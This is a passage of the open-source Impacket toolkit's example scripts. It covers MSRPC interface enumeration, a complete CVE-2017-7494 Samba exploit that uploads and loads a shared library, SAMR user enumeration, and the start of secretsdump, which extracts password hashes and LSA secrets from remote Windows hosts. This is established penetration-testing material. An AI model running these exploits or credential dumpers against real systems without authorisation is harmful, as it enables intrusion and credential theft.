formatter_class=SmartFormatter, description="Lookups listening MSRPC interfaces.") parser.add_argument('stringbinding', help='R|String binding to connect to MSRPC interface, for example:\n' 'ncacn_ip_tcp:192.168.0.1[135]\n' 'ncacn_np:192.168.0.1[\\pipe\\spoolss]\n' 'ncacn_http:192.168.0.1[593]\n' 'ncacn_http:[6001,RpcProxy=exchange.contoso.com:443]\n' 'ncacn_http:localhost[3388,RpcProxy=rds.contoso:443]' ) parser.add_argument('-brute-uuids', action='store_true', help='Bruteforce UUIDs even if MGMT interface is available') parser.add_argument('-brute-opnums', action='store_true', help='Bruteforce opnums for found UUIDs') parser.add_argument('-brute-versions', action='store_true', help='Bruteforce major versions of found UUIDs') parser.add_argument('-opnum-max', action='store', type=int, default=64, help='Bruteforce opnums from 0 to N, default 64') parser.add_argument('-version-max', action='store', type=int, default=64, help='Bruteforce versions from 0 to N, default 64') parser.add_argument('-auth-level', action='store', type=int, default=6, help='MS-RPCE auth level, from 1 to 6, default 6 ' '(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)') parser.add_argument('-uuid', action='store', help='Test only this UUID') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('ncacn-np-details') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. ' 'If omitted it will use whatever was specified as target. This is useful when target is the ' 'NetBIOS name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') group = parser.add_argument_group('authentication') group.add_argument('-auth-rpc', action='store', default='', help='[domain/]username[:password]') group.add_argument('-auth-transport', action='store', default='', help='[domain/]username[:password]') group.add_argument('-hashes-rpc', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-hashes-transport', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for passwords') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) rpcdomain, rpcuser, rpcpass = parse_credentials(options.auth_rpc) transportdomain, transportuser, transportpass = parse_credentials(options.auth_transport) if options.brute_opnums and options.brute_versions: logging.error("Specify only -brute-opnums or -brute-versions") sys.exit(1) if rpcdomain is None: rpcdomain = '' if transportdomain is None: transportdomain = '' if rpcpass == '' and rpcuser != '' and options.hashes_rpc is None and options.no_pass is False: from getpass import getpass rpcpass = getpass("Password for MSRPC communication:") if transportpass == '' and transportuser != '' and options.hashes_transport is None and options.no_pass is False: from getpass import getpass transportpass = getpass("Password for RPC transport (SMB or HTTP):") if options.uuid is not None: uuids = [uuid.string_to_uuidtup(options.uuid)] options.brute_uuids = True else: uuids = rpcdatabase.uuid_database try: lookuper = RPCMap(options.stringbinding, options.auth_level, options.brute_uuids, uuids, options.brute_opnums, options.opnum_max, options.brute_versions, options.version_max) lookuper.set_rpc_credentials(rpcuser, rpcpass, rpcdomain, options.hashes_rpc) lookuper.set_transport_credentials(transportuser, transportpass, transportdomain, options.hashes_transport) lookuper.set_smb_info(options.target_ip, options.port) lookuper.connect() lookuper.do() lookuper.disconnect() except Exception as e: #raise # This may contain UTF-8 error_text = 'Protocol failed: %s' % e logging.critical(error_text) # Exchange errors if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text: logging.critical("This usually means the target is a MS Exchange Server, " "and connections to this rpc port on this host are not allowed (try port 6001)") if RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \ RPC_PROXY_CONN_A1_404_ERR in error_text: logging.critical("This usually means the target is a MS Exchange Server, " "and connections to the specified RPC server are not allowed") # Other errors if RPC_PROXY_CONN_A1_0X6BA_ERR in error_text: logging.critical("This usually means the target has no ACL to connect to this endpoint using RpcProxy") if RPC_PROXY_HTTP_IN_DATA_401_ERR in error_text or RPC_PROXY_CONN_A1_401_ERR in error_text: if lookuper.get_rpc_transport().get_auth_type() == AUTH_BASIC and transportdomain == '': logging.critical("RPC proxy basic authentication might require you to specify the domain. " "Your domain is empty!") if RPC_PROXY_CONN_A1_401_ERR in error_text or \ RPC_PROXY_CONN_A1_404_ERR in error_text: logging.info("A proxy in front of the target server detected (may be WAF / SIEM)") if 'rpc_s_access_denied' in error_text: logging.critical("This usually means the credentials on the MSRPC level are invalid!") impacket-impacket_0_11_0/examples/sambaPipe.py000077500000000000000000000303721446174712300215170ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through # the -so parameter. # # The script will use SMB1 or SMB2/3 depending on the target's availability. Also, the target share pathname is # retrieved by using NetrShareEnum() API with info level 2. # # Example: # # ./sambaPipe.py -so poc/libpoc.linux64.so bill@10.90.1.1 # # It will upload the libpoc.linux64.so file located in the poc directory against the target 10.90.1.1. The username # to use for authentication will be 'bill' and the password will be asked. # # ./sambaPipe.py -so poc/libpoc.linux64.so 10.90.1.1 # # Same as before, but anonymous authentication will be used. # # Author: # beto (@agsolino) # import argparse import logging import sys from os import path from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.nt_errors import STATUS_SUCCESS from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \ FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \ SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA from impacket.smbconnection import SMBConnection class PIPEDREAM: def __init__(self, smbClient, options): self.__smbClient = smbClient self.__options = options def isShareWritable(self, shareName): logging.debug('Checking %s for write access' % shareName) try: logging.debug('Connecting to share %s' % shareName) tid = self.__smbClient.connectTree(shareName) except Exception as e: logging.debug(str(e)) return False try: self.__smbClient.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) writable = True except Exception: writable = False pass return writable def findSuitableShare(self): from impacket.dcerpc.v5 import transport, srvs rpctransport = transport.SMBTransport(self.__smbClient.getRemoteName(), self.__smbClient.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.__smbClient) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareEnum(dce, 2) for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']: if self.isShareWritable(share['shi2_netname'][:-1]): sharePath = share['shi2_path'].split(':')[-1:][0][:-1] return share['shi2_netname'][:-1], sharePath raise Exception('No suitable share found, aborting!') def uploadSoFile(self, shareName): # Let's extract the filename from the input file pathname fileName = path.basename(self.__options.so.replace('\\', '/')) logging.info('Uploading %s to target' % fileName) fh = open(self.__options.so, 'rb') self.__smbClient.putFile(shareName, fileName, fh.read) fh.close() return fileName def create(self, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): packet = self.__smbClient.getSMBServer().SMB_PACKET() packet['Command'] = SMB2_CREATE packet['TreeID'] = treeId if self.__smbClient._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True: packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS smb2Create = SMB2Create() smb2Create['SecurityFlags'] = 0 smb2Create['RequestedOplockLevel'] = oplockLevel smb2Create['ImpersonationLevel'] = impersonationLevel smb2Create['DesiredAccess'] = desiredAccess smb2Create['FileAttributes'] = fileAttributes smb2Create['ShareAccess'] = shareMode smb2Create['CreateDisposition'] = creationDisposition smb2Create['CreateOptions'] = creationOptions smb2Create['NameLength'] = len(fileName) * 2 if fileName != '': smb2Create['Buffer'] = fileName.encode('utf-16le') else: smb2Create['Buffer'] = b'\x00' if createContexts is not None: smb2Create['Buffer'] += createContexts smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength'] smb2Create['CreateContextsLength'] = len(createContexts) else: smb2Create['CreateContextsOffset'] = 0 smb2Create['CreateContextsLength'] = 0 packet['Data'] = smb2Create packetID = self.__smbClient.getSMBServer().sendSMB(packet) ans = self.__smbClient.getSMBServer().recvSMB(packetID) if ans.isValidAnswer(STATUS_SUCCESS): createResponse = SMB2Create_Response(ans['Data']) # The client MUST generate a handle for the Open, and it MUST # return success and the generated handle to the calling application. # In our case, str(FileID) return str(createResponse['FileID']) def openPipe(self, sharePath, fileName): # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style # to make things easier for the caller. Not this time ;) treeId = self.__smbClient.connectTree('IPC$') sharePath = sharePath.replace('\\', '/') pathName = '/' + path.join(sharePath, fileName) logging.info('Final path to load is %s' % pathName) logging.info('Triggering bug now, cross your fingers') if self.__smbClient.getDialect() == SMB_DIALECT: _, flags2 = self.__smbClient.getSMBServer().get_flags() pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX) ntCreate['Parameters'] = SMBNtCreateAndX_Parameters() ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2) ntCreate['Parameters']['FileNameLength'] = len(pathName) ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA ntCreate['Parameters']['FileAttributes'] = 0 ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE ntCreate['Parameters']['CreateOptions'] = FILE_OPEN ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION ntCreate['Parameters']['SecurityFlags'] = 0 ntCreate['Parameters']['CreateFlags'] = 0x16 ntCreate['Data']['FileName'] = pathName if flags2 & SMB.FLAGS2_UNICODE: ntCreate['Data']['Pad'] = 0x0 return self.__smbClient.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: return self.create(treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) def run(self): logging.info('Finding a writeable share at target') shareName, sharePath = self.findSuitableShare() logging.info('Found share %s with path %s' % (shareName, sharePath)) fileName = self.uploadSoFile(shareName) logging.info('Share path is %s' % sharePath) try: self.openPipe(sharePath, fileName) except Exception as e: if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: logging.info('Expected STATUS_OBJECT_NAME_NOT_FOUND received, doesn\'t mean the exploit worked tho') else: logging.info('Target likely not vulnerable, Unexpected %s' % str(e)) finally: logging.info('Removing file from target') self.__smbClient.deleteFile(shareName, fileName) # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Samba Pipe exploit") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-so', action='store', required = True, help='so filename to upload and load') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 'the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, address = parse_target(options.target) if options.target_ip is None: options.target_ip = address if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True if options.hashes is not None: lmhash, nthash = options.hashes.split(':') else: lmhash = '' nthash = '' try: smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT) if options.k is True: smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip) else: smbClient.login(username, password, domain, lmhash, nthash) if smbClient.getDialect() != SMB_DIALECT: # Let's disable SMB3 Encryption for now smbClient._SMBConnection._Session['SessionFlags'] &= ~SMB2_SESSION_FLAG_ENCRYPT_DATA pipeDream = PIPEDREAM(smbClient, options) pipeDream.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) impacket-impacket_0_11_0/examples/samrdump.py000077500000000000000000000246271446174712300214540ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # DCE/RPC SAMR dumper. # # Author: # Javier Kohen # Alberto Solino (@agsolino) # # Reference for: # DCE/RPC for SAMR # from __future__ import division from __future__ import print_function import sys import logging import argparse import codecs from datetime import datetime from impacket.examples import logger from impacket.examples.utils import parse_target from impacket import version from impacket.nt_errors import STATUS_MORE_ENTRIES from impacket.dcerpc.v5 import transport, samr from impacket.dcerpc.v5.rpcrt import DCERPCException class ListUsersException(Exception): pass class SAMRDump: def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, port=445, csvOutput=False): self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__port = port self.__csvOutput = csvOutput if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') @staticmethod def getUnixTime(t): t -= 116444736000000000 t /= 10000000 return t def dump(self, remoteName, remoteHost): """Dumps the list of users and shares registered present at remoteName. remoteName is a valid host name or IP address. """ entries = [] logging.info('Retrieving endpoint list from %s' % remoteName) stringbinding = r'ncacn_np:%s[\pipe\samr]' % remoteName logging.debug('StringBinding %s'%stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.__port) rpctransport.setRemoteHost(remoteHost) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) try: entries = self.__fetchList(rpctransport) except Exception as e: logging.critical(str(e)) # Display results. if self.__csvOutput is True: print('#Name,RID,FullName,PrimaryGroupId,BadPasswordCount,LogonCount,PasswordLastSet,PasswordDoesNotExpire,AccountIsDisabled,UserComment,ScriptPath') for entry in entries: (username, uid, user) = entry pwdLastSet = (user['PasswordLastSet']['HighPart'] << 32) + user['PasswordLastSet']['LowPart'] if pwdLastSet == 0: pwdLastSet = '' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(pwdLastSet))) if user['UserAccountControl'] & samr.USER_DONT_EXPIRE_PASSWORD: dontExpire = 'True' else: dontExpire = 'False' if user['UserAccountControl'] & samr.USER_ACCOUNT_DISABLED: accountDisabled = 'True' else: accountDisabled = 'False' if self.__csvOutput is True: print('%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s' % (username, uid, user['FullName'], user['PrimaryGroupId'], user['BadPasswordCount'], user['LogonCount'],pwdLastSet, dontExpire, accountDisabled, user['UserComment'].replace(',','.'), user['ScriptPath'] )) else: base = "%s (%d)" % (username, uid) print(base + '/FullName:', user['FullName']) print(base + '/UserComment:', user['UserComment']) print(base + '/PrimaryGroupId:', user['PrimaryGroupId']) print(base + '/BadPasswordCount:', user['BadPasswordCount']) print(base + '/LogonCount:', user['LogonCount']) print(base + '/PasswordLastSet:',pwdLastSet) print(base + '/PasswordDoesNotExpire:',dontExpire) print(base + '/AccountIsDisabled:',accountDisabled) print(base + '/ScriptPath:', user['ScriptPath']) if entries: num = len(entries) if 1 == num: logging.info('Received one entry.') else: logging.info('Received %d entries.' % num) else: logging.info('No entries received.') def __fetchList(self, rpctransport): dce = rpctransport.get_dce_rpc() entries = [] dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) try: resp = samr.hSamrConnect(dce) serverHandle = resp['ServerHandle'] resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) domains = resp['Buffer']['Buffer'] print('Found domain(s):') for domain in domains: print(" . %s" % domain['Name']) logging.info("Looking up users in domain %s" % domains[0]['Name']) resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] ) resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) domainHandle = resp['DomainHandle'] status = STATUS_MORE_ENTRIES enumerationContext = 0 while status == STATUS_MORE_ENTRIES: try: resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext) except DCERPCException as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp = e.get_packet() for user in resp['Buffer']['Buffer']: r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId']) print("Found user: %s, uid = %d" % (user['Name'], user['RelativeId'] )) info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation) entry = (user['Name'], user['RelativeId'], info['Buffer']['All']) entries.append(entry) samr.hSamrCloseHandle(dce, r['UserHandle']) enumerationContext = resp['EnumerationContext'] status = resp['ErrorCode'] except ListUsersException as e: logging.critical("Error listing users: %s" % e) dce.disconnect() return entries # Process command-line arguments. if __name__ == '__main__': # Explicitly changing the stdout encoding format if sys.stdout.encoding is None: # Output is redirected to a file sys.stdout = codecs.getwriter('utf8')(sys.stdout) print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "This script downloads the list of users for the " "target system.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-csv', action='store_true', help='Turn CSV output') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' 'name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' if options.target_ip is None: options.target_ip = remoteName if options.aesKey is not None: options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") dumper = SAMRDump(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, int(options.port), options.csv) dumper.dump(remoteName, options.target_ip) impacket-impacket_0_11_0/examples/secretsdump.py000077500000000000000000000606671446174712300221660ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Performs various techniques to dump hashes from the # remote machine without executing any agent there. # For SAM and LSA Secrets (including cached creds) # we try to read as much as we can from the registry # and then we save the hives in the target system # (%SYSTEMROOT%\\Temp dir) and read the rest of the # data from there. # For NTDS.dit we either: # a. Get the domain users list and get its hashes # and Kerberos keys using [MS-DRDS] DRSGetNCChanges() # call, replicating just the attributes we need. # b. Extract NTDS.dit via vssadmin executed with the # smbexec approach. # It's copied on the temp dir and parsed remotely. # # The script initiates the services required for its working # if they are not available (e.g. Remote Registry, even if it is # disabled). After the work is done, things are restored to the # original state. # # Author: # Alberto Solino (@agsolino) # # References: # Most of the work done by these guys. I just put all # the pieces together, plus some extra magic. # # - https://github.com/gentilkiwi/kekeo/tree/master/dcsync # - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html # - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html # - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html # - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13 # - https://code.google.com/p/creddump/ # - https://lab.mediaservice.net/code/cachedump.rb # - https://insecurety.net/?p=768 # - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/index.htm # - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf # - https://www.passcape.com/index.php?section=blog&cmd=details&id=15 # from __future__ import division from __future__ import print_function import argparse import codecs import logging import os import sys from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.smbconnection import SMBConnection from impacket.ldap.ldap import LDAPConnection, LDAPSessionError from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes, \ KeyListSecrets from impacket.krb5.keytab import Keytab try: input = raw_input except NameError: pass class DumpSecrets: def __init__(self, remoteName, username='', password='', domain='', options=None): self.__useVSSMethod = options.use_vss self.__useKeyListMethod = options.use_keylist self.__remoteName = remoteName self.__remoteHost = options.target_ip self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__aesKeyRodc = options.rodcKey self.__smbConnection = None self.__ldapConnection = None self.__remoteOps = None self.__SAMHashes = None self.__NTDSHashes = None self.__LSASecrets = None self.__KeyListSecrets = None self.__rodc = options.rodcNo self.__systemHive = options.system self.__bootkey = options.bootkey self.__securityHive = options.security self.__samHive = options.sam self.__ntdsFile = options.ntds self.__history = options.history self.__noLMHash = True self.__isRemote = True self.__outputFileName = options.outputfile self.__doKerberos = options.k self.__justDC = options.just_dc self.__justDCNTLM = options.just_dc_ntlm self.__justUser = options.just_dc_user self.__ldapFilter = options.ldapfilter self.__pwdLastSet = options.pwd_last_set self.__printUserStatus= options.user_status self.__resumeFileName = options.resumefile self.__canProcessSAMLSA = True self.__kdcHost = options.dc_ip self.__options = options if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def connect(self): self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) if self.__doKerberos: self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__kdcHost) else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def ldapConnect(self): if self.__doKerberos: self.__target = self.__remoteHost else: if self.__kdcHost is not None: self.__target = self.__kdcHost else: self.__target = self.__domain # Create the baseDN if self.__domain: domainParts = self.__domain.split('.') else: domain = self.__target.split('.', 1)[-1] domainParts = domain.split('.') self.baseDN = '' for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] try: self.__ldapConnection = LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: self.__ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: self.__ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) except LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL self.__ldapConnection = LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: self.__ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: self.__ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) else: raise def dump(self): try: if self.__remoteName.upper() == 'LOCAL' and self.__username == '': self.__isRemote = False self.__useVSSMethod = True if self.__systemHive: localOperations = LocalOperations(self.__systemHive) bootKey = localOperations.getBootKey() if self.__ntdsFile is not None: # Let's grab target's configuration about LM Hashes storage self.__noLMHash = localOperations.checkNoLMHashPolicy() else: import binascii bootKey = binascii.unhexlify(self.__bootkey) else: self.__isRemote = True bootKey = None if self.__ldapFilter is not None: logging.info('Querying %s for information about domain users via LDAP' % self.__domain) try: self.ldapConnect() except Exception as e: logging.error('LDAP connection failed: %s' % str(e)) try: try: self.connect() except Exception as e: if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: # SMBConnection failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) pass else: raise self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost, self.__ldapConnection) self.__remoteOps.setExecMethod(self.__options.exec_method) if self.__justDC is False and self.__justDCNTLM is False and self.__useKeyListMethod is False or self.__useVSSMethod is True: self.__remoteOps.enableRegistry() bootKey = self.__remoteOps.getBootKey() # Let's check whether target system stores LM Hashes self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() except Exception as e: self.__canProcessSAMLSA = False if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ and self.__doKerberos is True: # Giving some hints here when SPN target name validation is set to something different to Off # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') else: logging.error('RemoteOperations failed: %s' % str(e)) # If the KerberosKeyList method is enable we dump the secrets only via TGS-REQ if self.__useKeyListMethod is True: try: self.__KeyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, self.__remoteOps) self.__KeyListSecrets.dump() except Exception as e: logging.error('Something went wrong with the Kerberos Key List approach.: %s' % str(e)) else: # If RemoteOperations succeeded, then we can extract SAM and LSA if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: try: if self.__isRemote is True: SAMFileName = self.__remoteOps.saveSAM() else: SAMFileName = self.__samHive self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) self.__SAMHashes.dump() if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) except Exception as e: logging.error('SAM hashes extraction failed: %s' % str(e)) try: if self.__isRemote is True: SECURITYFileName = self.__remoteOps.saveSECURITY() else: SECURITYFileName = self.__securityHive self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote, history=self.__history) self.__LSASecrets.dumpCachedHashes() if self.__outputFileName is not None: self.__LSASecrets.exportCached(self.__outputFileName) self.__LSASecrets.dumpSecrets() if self.__outputFileName is not None: self.__LSASecrets.exportSecrets(self.__outputFileName) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error('LSA hashes extraction failed: %s' % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work if self.__isRemote is True: if self.__useVSSMethod and self.__remoteOps is not None and self.__remoteOps.getRRP() is not None: NTDSFileName = self.__remoteOps.saveNTDS() else: NTDSFileName = None else: NTDSFileName = self.__ntdsFile self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, outputFileName=self.__outputFileName, justUser=self.__justUser, ldapFilter=self.__ldapFilter, printUserStatus=self.__printUserStatus) try: self.__NTDSHashes.dump() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. resumeFile = self.__NTDSHashes.getResumeSessionFile() if resumeFile is not None: os.unlink(resumeFile) logging.error(e) if (self.__justUser or self.__ldapFilter) and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: logging.info("You just got that error because 